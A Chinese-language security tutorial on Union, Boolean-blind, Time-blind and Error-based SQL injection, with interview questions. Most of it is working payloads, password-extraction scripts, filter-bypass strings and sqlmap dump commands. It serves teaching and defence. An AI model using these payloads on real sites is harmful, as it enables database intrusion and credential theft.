02-2. SQL Injection 攻擊技巧:Union、Blind、Time-Based

深入學習進階 SQL Injection 攻擊手法與實戰技巧

02-2. SQL Injection 攻擊技巧:Union、Blind、Time-based

⏱️ 閱讀時間: 18 分鐘 🎯 難度: ⭐⭐⭐ (中高) ⚠️ 警告: 本文內容僅供學習與防禦用途,禁止用於非法攻擊


🎯 本篇重點

深入學習 4 種進階 SQL Injection 攻擊技巧:Union-based、Boolean-based Blind、Time-based Blind、Error-based,理解如何在不同限制下竊取資料。


📊 SQL Injection 攻擊分類

依回顯方式分類

1. In-band SQL Injection(帶內注入)
   ├─ Union-based(最常見)
   ├─ Error-based
   └─ 攻擊者可以直接看到查詢結果

2. Blind SQL Injection(盲注)
   ├─ Boolean-based(邏輯盲注)
   ├─ Time-based(時間盲注)
   └─ 攻擊者看不到查詢結果,需要推斷

3. Out-of-band SQL Injection(帶外注入)
   └─ 使用不同管道(如 DNS、HTTP)傳輸資料
   └─ 較少見,需要特定資料庫功能

難度對比

類型難度速度適用場景
Union-based⭐⭐查詢結果顯示在頁面上
Error-based⭐⭐錯誤訊息顯示在頁面上
Boolean-based Blind⭐⭐⭐頁面有明顯差異(有無資料)
Time-based Blind⭐⭐⭐⭐很慢頁面無差異,只能用時間判斷

1️⃣ Union-based SQL Injection

原理

使用 UNION 語句合併兩個查詢結果,在頁面上顯示額外資料

正常查詢:
SELECT id, name, price FROM products WHERE id = 1

Union 攻擊:
SELECT id, name, price FROM products WHERE id = 1
UNION
SELECT id, username, password FROM users

結果:
頁面同時顯示商品資訊和用戶帳號密碼

生活比喻

情境:圖書館借書

正常:你借「程式設計」類的書
結果:圖書館給你程式設計的書

Union 攻擊:你說「我要程式設計的書,還有館長辦公室的機密文件」
結果:圖書館把兩批資料都給你了

UNION = 合併兩個查詢結果

攻擊步驟

Step 1:判斷欄位數量

-- 目標:找出原始查詢有幾個欄位

-- 測試 1:3 個欄位
' UNION SELECT NULL, NULL, NULL --

如果正常顯示 → 可能是 3 個欄位
如果出錯 → 不是 3 個欄位

-- 測試 2:4 個欄位
' UNION SELECT NULL, NULL, NULL, NULL --

如果正常顯示  可能是 4 個欄位
如果出錯  不是 4 個欄位

重複測試,直到找到正確欄位數
# 範例:漏洞代碼
def get_product(product_id):
    query = f"SELECT id, name, price FROM products WHERE id = {product_id}"
    cursor.execute(query)
    return cursor.fetchone()

# 測試欄位數
get_product("1 UNION SELECT NULL, NULL, NULL")
# → 正常顯示(3 個欄位正確)

get_product("1 UNION SELECT NULL, NULL, NULL, NULL")
# → 出錯:UNION 查詢欄位數不匹配

Step 2:找出可顯示的欄位

-- 測試哪些欄位會顯示在頁面上

' UNION SELECT 'AAA', 'BBB', 'CCC' --

頁面顯示:
商品名稱:BBB
價格:CCC

結論:第 2、3 個欄位會顯示在頁面上

Step 3:竊取資料庫資訊

-- 取得資料庫版本
' UNION SELECT NULL, @@version, NULL --

-- 取得當前資料庫名稱
' UNION SELECT NULL, database(), NULL --

-- 取得當前用戶
' UNION SELECT NULL, user(), NULL --

-- MySQL 範例回傳:
商品名稱:8.0.35-MySQL
價格:NULL

Step 4:列出所有資料表

-- MySQL:從 information_schema 取得資料表名稱
' UNION SELECT NULL, table_name, NULL
FROM information_schema.tables
WHERE table_schema = database() --

-- 可能回傳:
users
products
orders
payments
admin_users  ← 發現敏感資料表

Step 5:列出資料表的欄位

-- 取得 users 資料表的欄位名稱
' UNION SELECT NULL, column_name, NULL
FROM information_schema.columns
WHERE table_name = 'users' --

-- 可能回傳:
id
username
email
password  ← 目標欄位
api_key
created_at

Step 6:竊取資料

-- 竊取用戶帳號密碼
' UNION SELECT NULL, username, password FROM users --

-- 頁面顯示:
商品名稱:admin
價格:5f4dcc3b5aa765d61d8327deb882cf99  ← MD5 密碼雜湊

商品名稱:john
價格:e10adc3949ba59abbe56e057f20f883e

-- 竊取多個欄位(使用 CONCAT)
' UNION SELECT NULL, CONCAT(username, ':', password), NULL FROM users --

-- 頁面顯示:
商品名稱:admin:5f4dcc3b5aa765d61d8327deb882cf99
商品名稱:john:e10adc3949ba59abbe56e057f20f883e

完整攻擊範例

# 漏洞代碼
def search_products(keyword):
    query = f"SELECT id, name, price FROM products WHERE name LIKE '%{keyword}%'"
    cursor.execute(query)
    return cursor.fetchall()

# 攻擊步驟:

# 1. 測試欄位數
search_products("' UNION SELECT NULL, NULL, NULL --")
# → 成功,3 個欄位

# 2. 測試可顯示欄位
search_products("' UNION SELECT 111, 222, 333 --")
# → 頁面顯示 222 和 333

# 3. 取得資料庫資訊
search_products("' UNION SELECT NULL, @@version, database() --")
# → 顯示:MySQL 8.0.35, mydb

# 4. 列出資料表
search_products("' UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_schema='mydb' --")
# → 顯示:users, products, orders...

# 5. 列出 users 的欄位
search_products("' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users' --")
# → 顯示:id, username, email, password...

# 6. 竊取用戶資料
search_products("' UNION SELECT NULL, username, password FROM users --")
# → 顯示所有用戶的帳號密碼!

防禦檢測 Union 攻擊

# 攻擊者可能遇到的防禦:

# 1. 過濾 UNION 關鍵字
keyword = "apple' UNION SELECT"
if 'union' in keyword.lower():
    return "檢測到惡意輸入"

# 繞過:大小寫混合
keyword = "apple' UnIoN SeLeCt"
keyword = "apple' /*!UNION*/ SELECT"  # MySQL 註解繞過

# 2. 限制查詢結果數量
query = f"SELECT * FROM products WHERE name LIKE '%{keyword}%' LIMIT 10"
# 繞過困難,但仍可竊取前 10 筆資料

# 3. 隱藏錯誤訊息
# 如果錯誤訊息不顯示,Union 攻擊更困難
# → 需要改用 Blind SQL Injection

2️⃣ Boolean-based Blind SQL Injection(邏輯盲注)

原理

頁面不顯示查詢結果,但會根據查詢真假有不同反應

True(真):頁面正常顯示 / 有資料
False(假):頁面異常 / 無資料

利用這個差異,逐字元推斷資料

生活比喻

情境:猜數字遊戲

你:「數字是 5 嗎?」
對方:搖頭(False)

你:「數字大於 5 嗎?」
對方:點頭(True)

你:「數字是 8 嗎?」
對方:搖頭(False)

你:「數字是 7 嗎?」
對方:點頭(True)

結果:推斷出數字是 7

Blind SQL Injection 就是透過一連串的「是非題」
推斷出資料庫的內容

攻擊步驟

Step 1:確認漏洞存在

-- 測試 1:永遠為真
' AND 1=1 --
→ 頁面正常顯示

-- 測試 2:永遠為假
' AND 1=2 --
 頁面無資料 / 異常

如果兩者反應不同  存在 Blind SQL Injection
# 範例:漏洞代碼
def check_user_exists(username):
    query = f"SELECT * FROM users WHERE username = '{username}'"
    cursor.execute(query)
    user = cursor.fetchone()
    if user:
        return "用戶存在"
    else:
        return "用戶不存在"

# 測試:
check_user_exists("admin' AND 1=1 --")
# → "用戶存在"(因為 admin 存在 AND 1=1 為真)

check_user_exists("admin' AND 1=2 --")
# → "用戶不存在"(因為 1=2 為假)

# 確認存在 Blind SQL Injection!

Step 2:推斷資料庫資訊

-- 推斷資料庫名稱長度
' AND LENGTH(database()) = 5 --
→ False

' AND LENGTH(database()) = 6 --
 True
結論:資料庫名稱長度是 6

-- 推斷資料庫名稱第 1 個字元
' AND SUBSTRING(database(), 1, 1) = 'a' --
→ False

' AND SUBSTRING(database(), 1, 1) = 'm' --
 True
結論:第 1 個字元是 'm'

-- 推斷第 2 個字元
' AND SUBSTRING(database(), 2, 1) = 'y' --
→ True

繼續推斷... → 最終得出:mydb

Step 3:推斷管理員密碼

# 自動化腳本(概念)
import string

def guess_password():
    charset = string.ascii_lowercase + string.digits
    password = ""
    position = 1

    while True:
        found = False
        for char in charset:
            # 測試每個字元
            payload = f"admin' AND SUBSTRING(password, {position}, 1) = '{char}' --"
            response = check_user_exists(payload)

            if "用戶存在" in response:
                password += char
                print(f"找到第 {position} 個字元:{char}")
                print(f"目前密碼:{password}")
                position += 1
                found = True
                break

        if not found:
            break  # 沒有更多字元

    return password

# 執行:
# 找到第 1 個字元:a
# 目前密碼:a
# 找到第 2 個字元:d
# 目前密碼:ad
# 找到第 3 個字元:m
# 目前密碼:adm
# ...
# 最終密碼:admin123

Step 4:優化(使用二分搜尋)

# 更快的方法:比較 ASCII 值

def guess_password_fast():
    password = ""
    position = 1

    while True:
        # 二分搜尋 ASCII 值
        low, high = 32, 126  # 可見字元範圍

        while low < high:
            mid = (low + high) // 2
            payload = f"admin' AND ASCII(SUBSTRING(password, {position}, 1)) > {mid} --"
            response = check_user_exists(payload)

            if "用戶存在" in response:
                low = mid + 1
            else:
                high = mid

        if low == 32:  # 沒有更多字元
            break

        password += chr(low)
        print(f"找到第 {position} 個字元:{chr(low)}")
        position += 1

    return password

# 這個方法比逐字元測試快很多!
# 原本需要測試 36 次(26 字母 + 10 數字)
# 現在只需要 log2(94) ≈ 7 次

實戰範例

# 漏洞網站
def login(username, password):
    query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
    cursor.execute(query)
    user = cursor.fetchone()
    if user:
        return redirect('/dashboard')
    else:
        return render('login.html', error="登入失敗")

# 攻擊:推斷 admin 的密碼長度
username = "admin' AND LENGTH(password) = 10 --"
password = "anything"
# → 登入失敗(密碼長度不是 10)

username = "admin' AND LENGTH(password) = 32 --"
password = "anything"
# → 重定向到 /dashboard(密碼長度是 32)

# 推斷密碼第 1 個字元
username = "admin' AND SUBSTRING(password, 1, 1) = 'a' --"
# → 失敗

username = "admin' AND SUBSTRING(password, 1, 1) = '5' --"
# → 成功

# 繼續推斷... 最終得到完整密碼

3️⃣ Time-based Blind SQL Injection(時間盲注)

原理

頁面無論真假都沒有明顯差異,利用時間延遲來判斷

True(真):查詢延遲 5 秒
False(假):立即回應

透過時間差異推斷資料

何時使用?

Boolean-based 失效的情況:
├─ 頁面無論真假都一樣
├─ 沒有明顯差異
└─ 無法用 True/False 判斷

只能依賴時間延遲

攻擊步驟

Step 1:確認漏洞

-- MySQL
' AND SLEEP(5) --

-- PostgreSQL
' AND pg_sleep(5) --

-- SQL Server
'; WAITFOR DELAY '00:00:05' --

-- Oracle
' AND DBMS_LOCK.SLEEP(5) --

如果頁面延遲 5   存在 Time-based Blind SQL Injection
# 測試範例
import time

def check_time_based_sqli(username):
    start = time.time()
    check_user_exists(username)
    elapsed = time.time() - start
    return elapsed

# 正常查詢
elapsed = check_time_based_sqli("admin")
print(f"正常查詢:{elapsed:.2f} 秒")  # → 0.05 秒

# Time-based 攻擊
elapsed = check_time_based_sqli("admin' AND SLEEP(5) --")
print(f"注入 SLEEP:{elapsed:.2f} 秒")  # → 5.05 秒

# 確認存在漏洞!

Step 2:推斷資料

-- 推斷資料庫名稱長度
' AND IF(LENGTH(database())=5, SLEEP(5), 0) --
→ 立即回應(長度不是 5)

' AND IF(LENGTH(database())=6, SLEEP(5), 0) --
 延遲 5 秒(長度是 6

-- 推斷第 1 個字元
' AND IF(SUBSTRING(database(), 1, 1)='m', SLEEP(5), 0) --
→ 延遲 5 秒(第 1 個字元是 'm')

-- 推斷第 2 個字元
' AND IF(SUBSTRING(database(), 2, 1)='y', SLEEP(5), 0) --
 延遲 5 秒(第 2 個字元是 'y')

繼續推斷...  得出:mydb

Step 3:自動化腳本

import time
import string

def time_based_extraction(query_template):
    """
    query_template: "admin' AND IF({condition}, SLEEP(3), 0) --"
    """
    result = ""
    position = 1
    charset = string.ascii_lowercase + string.digits + '_'

    while True:
        found = False
        for char in charset:
            # 構造條件
            condition = f"SUBSTRING(password, {position}, 1)='{char}'"
            payload = query_template.format(condition=condition)

            # 測試時間
            start = time.time()
            check_user_exists(payload)
            elapsed = time.time() - start

            if elapsed > 2.5:  # 延遲超過 2.5 秒視為 True
                result += char
                print(f"找到第 {position} 個字元:{char}")
                position += 1
                found = True
                break

        if not found:
            break

    return result

# 使用:
password = time_based_extraction("admin' AND IF({condition}, SLEEP(3), 0) --")
print(f"密碼:{password}")

優化:減少請求次數

# 使用二分搜尋(比較 ASCII 值)
def time_based_fast(query_template):
    result = ""
    position = 1

    while True:
        low, high = 32, 126

        while low < high:
            mid = (low + high) // 2
            condition = f"ASCII(SUBSTRING(password, {position}, 1)) > {mid}"
            payload = query_template.format(condition=condition)

            start = time.time()
            check_user_exists(payload)
            elapsed = time.time() - start

            if elapsed > 2.5:
                low = mid + 1
            else:
                high = mid

        if low == 32:
            break

        result += chr(low)
        print(f"找到第 {position} 個字元:{chr(low)}")
        position += 1

    return result

Time-based 的挑戰

1. 速度很慢
   ├─ 每次請求等待 3-5 秒
   ├─ 推斷 10 個字元 = 至少 50 次請求
   └─ 總時間:250 秒(4 分鐘)以上

2. 網路延遲影響
   ├─ 正常延遲 + SLEEP 延遲
   └─ 需要設定閾值(如 2.5 秒)

3. 可能被 WAF 偵測
   ├─ 大量延遲請求異常
   └─ 可能觸發 Rate Limiting

4. 伺服器負載
   └─ SLEEP 會佔用資料庫連線

4️⃣ Error-based SQL Injection

原理

利用資料庫錯誤訊息洩漏資料

正常:
SELECT * FROM users WHERE id = 1

錯誤注入:
SELECT * FROM users WHERE id = 1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND()*2)) AS x FROM information_schema.tables GROUP BY x) AS y)

錯誤訊息:
Duplicate entry 'mydb:1' for key 'group_key'
                ↑
            洩漏資料庫名稱

適用場景

條件:
✅ 錯誤訊息顯示在頁面上
✅ 包含詳細資訊

不適用:
❌ 生產環境關閉 Debug 模式
❌ 自訂錯誤頁面

常見 Payload

-- MySQL:使用 EXTRACTVALUE
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()), 0x7e)) --
錯誤:XPATH syntax error: '~mydb~'

-- MySQL:使用 UPDATEXML
' AND UPDATEXML(1, CONCAT(0x7e, (SELECT user()), 0x7e), 1) --
錯誤:XPATH syntax error: '~root@localhost~'

-- 竊取用戶密碼
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 1), 0x7e)) --
錯誤:XPATH syntax error: '~5f4dcc3b5aa765d61d8327deb882cf99~'

🛠️ 自動化工具:SQLMap

簡介

SQLMap = 自動化 SQL Injection 工具

# 安裝
pip install sqlmap

# 基本使用
sqlmap -u "http://example.com/product?id=1"

# 指定資料庫
sqlmap -u "http://example.com/product?id=1" --dbms=mysql

# 列出資料庫
sqlmap -u "http://example.com/product?id=1" --dbs

# 列出資料表
sqlmap -u "http://example.com/product?id=1" -D mydb --tables

# 傾印資料表
sqlmap -u "http://example.com/product?id=1" -D mydb -T users --dump

# POST 請求
sqlmap -u "http://example.com/login" --data="username=admin&password=123"

# Cookie
sqlmap -u "http://example.com/profile" --cookie="session=abc123"

SQLMap 優勢

✅ 自動偵測漏洞類型
   └─ Union, Boolean, Time-based, Error-based

✅ 支援多種資料庫
   └─ MySQL, PostgreSQL, MSSQL, Oracle, SQLite...

✅ 自動繞過 WAF
   └─ 各種編碼、混淆技巧

✅ 完整的資料擷取
   └─ 資料庫、資料表、欄位、資料

缺點:
❌ 速度較慢(尤其是 Blind)
❌ 可能被 WAF 偵測
❌ 需要手動分析複雜情況

🎓 面試常考題

Q1:Union-based 和 Blind SQL Injection 的差異?

A:主要差異在於是否能看到查詢結果

Union-based:
├─ 查詢結果顯示在頁面上
├─ 使用 UNION 合併查詢
├─ 速度快,效率高
└─ 範例:' UNION SELECT username, password FROM users --

Blind SQL Injection:
├─ 查詢結果不顯示在頁面上
├─ 需要透過間接方式推斷
├─ 速度慢,需要大量請求
└─ 分為 Boolean-based 和 Time-based

Boolean-based:
├─ 頁面根據真假有不同反應
├─ 範例:' AND SUBSTRING(password, 1, 1) = 'a' --
└─ 逐字元推斷資料

Time-based:
├─ 利用時間延遲判斷
├─ 範例:' AND IF(1=1, SLEEP(5), 0) --
└─ 最慢但最通用

選擇:
優先使用 Union-based(最快)
無法使用時才用 Blind(較慢)

Q2:如何判斷 SQL 查詢有幾個欄位?

A:使用 UNION SELECT 逐一測試

方法 1:UNION SELECT NULL
' UNION SELECT NULL --         (1 個欄位)
' UNION SELECT NULL, NULL --   (2 個欄位)
' UNION SELECT NULL, NULL, NULL --  (3 個欄位)

如果欄位數正確 → 頁面正常
如果欄位數錯誤 → 資料庫錯誤

方法 2:ORDER BY
' ORDER BY 1 --  (正常)
' ORDER BY 2 --  (正常)
' ORDER BY 3 --  (正常)
' ORDER BY 4 --  (錯誤:欄位不存在)

結論:有 3 個欄位

為什麼重要?
UNION 要求兩個查詢的欄位數相同
必須先知道原始查詢有幾個欄位
才能構造正確的 UNION payload

Q3:Time-based Blind 為什麼最慢?

A:需要等待每次查詢的延遲時間

速度對比:

Union-based:
├─ 1 次請求取得所有資料
└─ 時間:< 1 秒

Boolean-based Blind:
├─ 每個字元需要 10-36 次請求(逐字元測試)
├─ 或 log2(94) ≈ 7 次請求(二分搜尋)
└─ 時間:數秒到數分鐘

Time-based Blind:
├─ 每次請求延遲 3-5 秒
├─ 每個字元需要 7 次請求(二分搜尋)
├─ 10 個字元 = 70 次請求 × 3 秒 = 210 秒
└─ 時間:數分鐘到數小時

範例:
推斷 32 字元密碼(MD5)
├─ Union: < 1 秒
├─ Boolean: 1-5 分鐘
└─ Time-based: 6-10 分鐘

結論:
Time-based 是最後手段
只在其他方法都不可行時使用

✅ 重點回顧

四種攻擊類型:

1. Union-based(最快):

  • ✅ 查詢結果顯示在頁面
  • ✅ 使用 UNION 合併查詢
  • ✅ 步驟:判斷欄位數 → 找資料表 → 竊取資料

2. Boolean-based Blind(慢):

  • ✅ 頁面根據真假有不同反應
  • ✅ 逐字元推斷資料
  • ✅ 使用二分搜尋優化速度

3. Time-based Blind(最慢):

  • ✅ 利用 SLEEP() 延遲判斷
  • ✅ 最通用但速度最慢
  • ✅ 每個字元需等待數秒

4. Error-based(快):

  • ✅ 利用錯誤訊息洩漏資料
  • ✅ 只在 Debug 模式有效
  • ✅ 生產環境通常不可用

工具:

  • 🛠️ SQLMap:自動化 SQL Injection
  • 🛠️ Burp Suite:手動測試與分析

選擇策略:

  1. 優先:Union-based(最快)
  2. 次選:Error-based(如果有錯誤訊息)
  3. 備選:Boolean-based Blind(頁面有差異)
  4. 最後:Time-based Blind(無其他選擇)

記憶口訣: 「聯錯布時」= Union、Error-based、Boolean、Time-based


上一篇: 02-1. SQL Injection 基礎 下一篇: 02-3. SQL Injection 防禦


最後更新:2025-01-16

0%